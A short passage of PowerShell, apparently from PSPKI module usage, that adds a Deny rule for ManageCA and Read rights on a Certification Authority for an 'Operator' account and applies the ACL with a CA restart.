$acl | Add-CAACL -ACE $ACE
$ACE = New-Object SysadminsLV.PKI.Security.AccessControl.CertSrvAccessRule ([Security.Principal.NTAccount]"Operator"), "ManageCA, Read", "Deny"
$acl | Add-CAACL -ACE $ACE
$acl | Set-CertificationAuthorityAcl -RestartCA
.